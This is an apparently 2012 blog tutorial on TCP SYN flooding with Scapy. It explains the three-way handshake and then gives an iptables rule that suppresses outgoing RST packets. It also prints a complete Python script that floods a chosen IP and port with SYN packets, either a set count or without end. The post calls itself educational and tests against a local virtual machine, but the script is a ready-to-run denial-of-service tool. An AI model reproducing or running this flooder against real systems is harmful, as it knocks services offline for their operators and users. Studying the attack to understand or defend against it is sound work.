SYN Flooding with Scapy and Python
August 12, 2012
What is a SYN flood?
When a connection is made from client to server through TCP it is initialized with a three way handshake. Each of the 3 stages of the handshake sends a different type of TCP segment across the network.
- Client sends SYN (synchronize) to server
- Server sends SYN-ACK (synchronize Acknowledgement) back to the client
- Client sends ACK back to server
This 3 way handshake establishes the rest of the connection between the client and server.
When performing a SYN flood you’re only completing the first two parts of the three way handshake. A request is made with the server to synchronise. The server Acknowledges the synchronisation but no acknowledgement from the client to the server is sent back. This causes the server to have half open connections which can result in a denial of service if the process is repeated and replicated by multiple machines.
By default the Linux kernel sends an RST in response to a SYN-ACK received from the server. This is because of a lack of communication between scapy and the kernel. You can read more about it Here. For this reason an IPTABLES rule needs to be created to block any outgoing RST packets.
sudo iptables -A OUTPUT -p tcp -s 192.168.1.89 –tcp-flags RST RST -j DROP
(the IP address 192.168.1.89 is the source address, the local IP address)
My Python Script
Below is a Python script that implements the scapy program which allows you to both manipulate and send packets. As well as a whole host of other things. It is created purely as an educational tool and shows how Scapy can be implemented into python.
the python script takes 3 arguments.
-d The destination IP address for the SYN packet
-c The amount of SYN packets to send. (enter X for unlimited)
-p The destination port for the SYN packet
As it uses the send function in scapy it must be run as root user.
sudo python synflood.py -d 192.168.1.85 -c x -p 80
This will send a constant SYN flood to the ip address 192.168.1.85 and to port 80.
sudo python synflood.py -d 192.168.1.85 -c 100 -p 80
This will send 100 SYN segments to 192.168.1.85 on port 80.
The script sets the source IP to your local IP. The source port is randomised.
import sys import random import logging # This and the following line are used to omit the IPv6 error displayed by importing scapy. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * import argparse import os import urllib2 if os.getuid() != 0: # Checks to see if the user running the script is root. print("You need to run this program as root for it to function correctly.") sys.exit(1) parser = argparse.ArgumentParser(description='This educational tool sends SYN requests to the target specified in the arguments.') # This and preceding 4 lines used to control the arguments entered in the CLI. parser.add_argument('-d', action="store",dest='source', help='The destination IP address for the SYN packet') parser.add_argument('-c', action="store",dest='count', help='The amount of SYN packets to send. (enter X for unlimited)') parser.add_argument('-p', action="store",dest='port', help='The destination port for the SYN packet') args = parser.parse_args() if len(sys.argv) == 1: # Forces the help text to be displayed if no arguments are entered parser.print_help() sys.exit(1) args = vars(args) # converts the arguments into dictionary format for easier retrieval. iterationCount = 0 # variable used to control the while loop for the amount of times a packet is sent. if args['count'] == "X" or args['count'] == "x": # If the user entered an X or x into the count argument (wants unlimited SYN segments sent) while (1 == 1): a=IP(dst=args['source'])/TCP(flags="S", sport=RandShort(), dport=int(args['port'])) # Creates the packet and assigns it to variable a send(a, verbose=0) # Sends the Packet iterationCount = iterationCount + 1 print(str(iterationCount) + " Packet Sent") else: # executed if the user defined an amount of segments to send. while iterationCount < int(args['count']): a=IP(dst=args['source'])/TCP(flags="S", sport=RandShort(), dport=int(args['port'])) # Creates the packet and assigns it to variable a send(a, verbose=0) # Sends the Packet iterationCount = iterationCount + 1 print(str(iterationCount) + " Packet Sent") print("All packets successfully sent.")
When the script is executed the packets are sent to the destination IP address. This can be viewed in wireshark. note the random ports which appear on each packet.
The target was a Backtrack 5 R2 virtual machine which was running an Apache web server on port 80. By entering the command “netstat -at” you can view all listening TCP ports.
As you can see from the screenshot there are 10 listening TCP ports which have been created because of the 10 SYN segments that were sent previously.
You can get more information about scapy at http://www.secdev.org/projects/scapy/ You can read an advisory for the TCP SYN attack at http://www.securityfocus.com/advisories/1422